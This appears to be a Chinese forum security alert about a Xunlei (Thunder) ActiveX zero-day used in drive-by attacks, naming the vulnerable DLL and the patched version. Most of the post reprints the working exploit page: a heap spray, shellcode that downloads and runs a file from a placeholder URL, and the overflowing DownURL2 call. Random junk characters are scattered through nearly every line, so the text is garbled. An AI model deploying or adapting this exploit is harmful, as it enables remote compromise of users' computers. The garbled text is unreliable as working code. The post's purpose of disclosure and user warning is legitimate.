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根据恶意网址检测的线报,发现一恶意网址使用未公开的迅雷50-Day漏洞进行挂马,其EXP代码如下:
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4 e# O6 H) q0 S6 d) A, U<html>
3 J- A2 O& p# Z/ h# E. Q) W<head>
) {) O4 L: x/ G# J* g; n+ U& D( ?<meta http-equiv="Content-Type" c >! Q( S; H3 A5 v# `. x% ~
<title></title>
: K- o) k) m8 ~9 n</head><body>
- k! s% W$ ^0 ^. f$ `/ Q' H<html>
% [* W8 Z/ T, U, o<object classid="clsid:EEDD6FF9-13DE-496B-9A1C-D78B3215E266" id='target'></object>6 J9 Q( Q: u3 k% F5 D3 w
<script language="javascript">, j' | h. ^8 E( J
var she132132132132llc13ode = unescape("%u9090"+"%u9090"+ 6 V. N& J0 q+ C) F" U
"%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c" +% k7 L7 W5 r0 r. U* N3 ]4 f- V
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
8 e1 ~7 R3 e& y0 X"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
8 |% x5 W, E' n4 C3 _, F# L0 a0 H9 `"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" ++ L& ^, c' Y/ Z: ^2 w0 V
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + E1 n& {. f' H1 ^% t
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +( y+ }4 g: I: y# ~4 r8 X7 u) l
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +# L2 o& V8 G( }; Y
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
# P8 Y* ~( C7 L( _- `" E"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
% ~: W& [6 Z7 q4 b9 x"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
# ]/ b" p3 ~1 F"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
3 z7 w, q) `0 Y( I) d& _. b' l- E"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
& J$ d; i" b8 L" e"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +. Y0 ^% Z. w; D/ s
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +$ l+ ]+ q" {( l. f' y3 N$ Q
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +5 E, w9 J; u7 _. j* l" k
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +- M) n/ g% J9 c x
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +. T' ^0 {2 l! w5 }' r9 w9 R9 e4 }1 a' `
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +) O# x9 e7 ? w* ?. F
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
% Z F# P% z' @' h# b"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +# S- M* s) }2 s; m! ~
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +; I# y1 W' ~3 Y) p' H
"%u6946%u656c%u0041%u7468%u7074此处为需要下载病毒的网址%u0000");+ v0 g# ]' g$ e9 H/ ^6 ]
</script>
- C+ s9 ?7 H) F/ w) d9 @<script language="javascript">
2 {/ t7 y' d8 K% R) ]5 ?9 fvar IsNop1236326312 = '';
. i4 A" I; |/ S8 H8 Nvar bi3123g123665blo2131ck = unescape("%u9090%u9090");
# h. n: I8 z' s3 x* {3 ^. Y& y) kvar IsNop1236326312 = '';
3 E7 ]$ p6 i: \; a8 W- rvar he132132aders123132ize = 20;
& L* X0 T, b$ S5 J* l& Cvar IsNop1236326312 = '';
1 x2 v$ ?0 W# X" b% B7 |, \var sl21123112ack312231312space = he132132aders123132ize+she132132132132llc13ode.length;/ O& K! J6 x6 ^0 k3 w: W: w
var IsNop1236326312 = '';
+ ^- ^" ]+ I6 k1 y2 l! k& g! bwhile (bi3123g123665blo2131ck.length<sl21123112ack312231312space) bi3123g123665blo2131ck+=bi3123g123665blo2131ck;8 _9 \7 R9 G. ~' A. O+ u0 K2 R( S
fillblock = bi3123g123665blo2131ck.substring(0, sl21123112ack312231312space);) p8 [$ c# f% N4 V/ G4 X
block = bi3123g123665blo2131ck.substring(0, bi3123g123665blo2131ck.length-sl21123112ack312231312space);& G$ u$ W- Q# ~1 Q
while(block.length+sl21123112ack312231312space<0x40000) block = block+block+fillblock;
, s' d7 j: P) x% s: |3 Dmemory = new Array();
0 H/ @8 X0 L) y8 s; K# B; Yfor (x=0; x<300; x++) memory[x] = block + she132132132132llc13ode;& g2 c5 _, o) L/ G- M5 g+ H
var b1u1231ff312er = ''; z5 {7 X: o1 |. i+ h# ]/ j
var IsNop1236326312 = '';
( Y) e0 w6 q1 I# nvar IsNop1236326312 = '';
, `* c& a& x7 D' P" Z0 Kwhile (b1u1231ff312er.length < 4057) b1u1231ff312er+="\x0a\x0a\x0a\x0a";
4 r) \/ s: n- r$ V! d( ~9 y8 Lb1u1231ff312er+="\x0a"; ; I; N. L$ f/ r# s; D; d$ K8 Q
b1u1231ff312er+="\x0a";" `' _. Q0 z$ u4 d0 _- h
b1u1231ff312er+="\x0a";' l9 {7 I* t; e! X9 S+ a
b1u1231ff312er+="\x0a\x0a\x0a\x0a";7 q/ [ K; q- d, ~. L1 R w( e
b1u1231ff312er+="\x0a\x0a\x0a\x0a"; 1 w4 [: d9 Z3 [2 Z; Y
var yes="1111";
2 l1 D: |4 }1 Ptarget.DownURL2(b1u1231ff312er,yes,yes,yes);
1 o c! l+ e* Q6 v! ~var IsNop1236326312 = '';$ D& a( ]% ~, g/ ]! k* O, i) d
</script>! E. S0 }* h+ {! }
</body></html>该代码风格颇相前段时间的《暴风影音IIActiveX栈溢出漏洞》,尾部为%u7468%u7074+此处为需要下载病毒的网址+%u0000"),但其CLSID为:EEDD6FF9-13DE-496B-9A1C-D78B3215E266
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3 U5 f3 B) U' N$ A% K经验证,该ActiveX控件文件为:C:\Program Files\Thunder Network\Thunder\Components\DownAndPlay\DownAndPlay\DapPlayer1.0.0.41.dll
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7 G! i1 X0 o6 P2 w) D& Y$ T0 ~我已经将该信息提交给迅雷官方,相信迅雷官方会尽快更新软件, 字串5
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/ \4 G' t! x7 E, r在此,网络巡警提醒大家,使用迅雷软件请尽量使用最新版本的,最新版本下载地址为: / p- b# P. M; V
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http://pstatic.xunlei.com/about/product/down_xl5.htm 7 h+ l" j8 w3 [8 P/ A1 S$ E* U
) m3 v# h( N! \# f, V我会进一步关注此漏洞。 1 f+ p: R8 [4 o! w+ A/ I6 T0 R
/ l5 N9 {& g( D- O. h, W最近情况: 3 c+ m+ b' ]9 g* J9 N
2 c: g" s: Q# [1 ]. y( a从一些信息来看,含有此漏洞的迅雷版本号为Xunlei Web Thunder 5.6.9.344
* m! q0 N# Y2 z0 D% V$ _新版的迅雷5.7.2.371 应该无此漏洞,请大家更新~
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另外,该漏洞是一个叫做 7jdg 的人挖掘发现的(高手啊)。 |
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